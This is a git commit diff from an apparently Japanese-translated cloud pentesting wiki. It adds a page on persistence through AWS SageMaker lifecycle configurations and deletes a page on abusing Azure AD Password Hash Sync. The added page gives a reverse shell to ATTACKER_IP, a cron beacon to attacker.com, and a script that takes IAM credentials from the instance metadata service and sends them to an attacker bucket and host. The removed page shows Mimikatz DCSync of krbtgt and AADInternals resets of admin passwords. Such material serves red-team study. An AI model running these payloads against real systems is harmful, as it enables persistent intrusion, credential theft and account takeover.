Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem

This commit is contained in:
Translator
2025-07-22 12:29:45 +00:00
parent 6726a81758
commit 351d849fb5
5 changed files with 262 additions and 117 deletions

View File

@@ -442,11 +442,13 @@
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
- [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
- [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)

BIN
src/images/discount.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 186 KiB

View File

@@ -0,0 +1,156 @@
# AWS - SageMaker Lifecycle Configuration Persistence
## Overview of Persistence Techniques
このセクションでは、Lifecycle Configurations (LCCs) を悪用して SageMaker に持続性を持たせる方法について説明します。これには、リバースシェル、cron ジョブ、IMDS を介した資格情報の盗難、SSH バックドアが含まれます。これらのスクリプトはインスタンスの IAM ロールで実行され、再起動を超えて持続することができます。ほとんどの技術はアウトバウンドネットワークアクセスを必要としますが、AWS コントロールプレーン上のサービスを使用することで、環境が「VPC のみ」モードであっても成功する可能性があります。
#### 注意: SageMaker ノートブックインスタンスは、機械学習ワークロード専用に構成された管理された EC2 インスタンスです。
## Required Permissions
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* スタジオアプリケーション:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## ノートブックインスタンスのライフサイクル設定
### AWS CLIコマンドの例:
```bash
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## SageMaker Studioでライフサイクル設定を行う
ライフサイクル設定は、SageMaker Studio内のさまざまなレベルおよび異なるアプリタイプに添付できます。
### スタジオドメインレベル(すべてのユーザー)
```bash
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### スタジオスペースレベル(個別または共有スペース)
```bash
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## スタジオアプリケーションライフサイクル構成の種類
ライフサイクル構成は、異なるSageMaker Studioアプリケーションタイプに特に適用できます
* JupyterServer: Jupyterサーバーの起動時にスクリプトを実行し、リバースシェルやcronジョブのような永続メカニズムに最適です。
* KernelGateway: カーネルゲートウェイアプリの起動時に実行され、初期設定や永続的なアクセスに役立ちます。
* CodeEditor: コードエディタCode-OSSに適用され、コード編集セッションの開始時に実行されるスクリプトを有効にします。
### 各タイプの例コマンド:
### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### CodeEditor
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Critical Info:
* ドメインまたはスペースレベルでLCCをアタッチすると、スコープ内のすべてのユーザーまたはアプリケーションに影響を与えます。
* より高い権限が必要ですsagemaker:UpdateDomain、sagemaker:UpdateSpace、通常はドメインレベルよりもスペースレベルで実現可能です。
* ネットワークレベルの制御(例:厳格な出口フィルタリング)は、成功したリバースシェルやデータの流出を防ぐことができます。
## Reverse Shell via Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
### Payload Example:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence via Lifecycle Configuration
攻撃者はLCCスクリプトを通じてcronジョブを注入し、悪意のあるスクリプトやコマンドの定期的な実行を確保し、隠れた持続性を可能にします。
### Payload Example:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## IMDSv1 & v2を介した認証情報の抽出
ライフサイクル構成は、インスタンスメタデータサービスIMDSにクエリを送信してIAM認証情報を取得し、それを攻撃者が制御する場所に抽出することができます。
### ペイロードの例:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```

View File

@@ -1,114 +0,0 @@
# Az - PHS - Password Hash Sync
{{#include ../../../../banners/hacktricks-training.md}}
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュ同期**は、ハイブリッドアイデンティティを実現するために使用されるサインイン方法の1つです。 **Azure AD Connect**は、オンプレミスのActive DirectoryインスタンスからクラウドベースのAzure ADインスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
これは、企業がオンプレミスのADをAzure ADと同期させるために使用する**最も一般的な方法**です。
すべての**ユーザー**と**パスワードハッシュのハッシュ**がオンプレミスからAzure ADに同期されます。ただし、**平文のパスワード**や**元の** **ハッシュ**はAzure ADに送信されません。\
さらに、**組み込み**のセキュリティグループ(ドメイン管理者など)は**Azure ADに同期されません**。
**ハッシュの同期**は**2分ごと**に行われます。ただし、デフォルトでは、**パスワードの有効期限**と**アカウントの有効期限**はAzure ADに**同期されません**。したがって、**オンプレミスのパスワードが期限切れ**(変更されていない)であるユーザーは、古いパスワードを使用して**Azureリソースにアクセスし続ける**ことができます。
オンプレミスのユーザーがAzureリソースにアクセスしたい場合、**認証はAzure ADで行われます**。
**PHS**は、**アイデンティティ保護**やAADドメインサービスなどの機能に必要です。
## ピボッティング
PHSが構成されると、いくつかの**特権アカウント**が自動的に**作成**されます:
- アカウント**`MSOL_<installationID>`**は、オンプレミスADに自動的に作成されます。このアカウントには**ディレクトリ同期アカウント**の役割が与えられます([ドキュメントを参照](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)。これは、オンプレミスADで**レプリケーションDCSync権限**を持つことを意味します。
- アカウント**`Sync_<name of on-prem ADConnect Server>_installationID`**がAzure ADに作成されます。このアカウントは、Azure AD内の**任意のユーザー**(同期されたユーザーまたはクラウド専用ユーザー)のパスワードを**リセット**できます。
これらの2つの特権アカウントのパスワードは、**Azure AD ConnectがインストールされているサーバーのSQLサーバーに保存**されています。管理者は、これらの特権ユーザーのパスワードを平文で抽出できます。\
データベースは`C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`にあります。
テーブルの1つから構成を抽出することが可能で、1つは暗号化されています
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**暗号化された構成**は**DPAPI**で暗号化されており、オンプレミスADの`MSOL_*`ユーザーの**パスワード**とAzureADの**Sync\_\***のパスワードを含んでいます。したがって、これらを侵害することでADおよびAzureADへの権限昇格が可能です。
これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
### **Azure AD Connectサーバーの発見**
**Azure AD Connectがインストールされているサーバー**がドメインに参加している場合(ドキュメントで推奨)、次の方法で見つけることができます:
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### MSOL\_\*の悪用
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> これらの資格情報を取得するために、[**adconnectdump**](https://github.com/dirkjanm/adconnectdump)を使用することもできます。
### Sync\_\*の悪用
**`Sync_*`** アカウントを侵害することで、任意のユーザー(グローバル管理者を含む)の**パスワードをリセット**することが可能です。
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
クラウドユーザーのパスワードのみを**変更することも可能です**(予期しない場合でも)。
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
このユーザーのパスワードをダンプすることも可能です。
> [!CAUTION]
> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことであり、**Sync**ユーザーには**権限**があります。そして、その**サービスプリンシパルにアクセスする**ことで特権昇格を行うことができます。
### シームレスSSO
PHSを使用してシームレスSSOを利用することが可能であり、他の悪用に対して脆弱です。以下で確認してください
{{#ref}}
seamless-sso.md
{{#endref}}
## 参考文献
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
{{#include ../../../../banners/hacktricks-training.md}}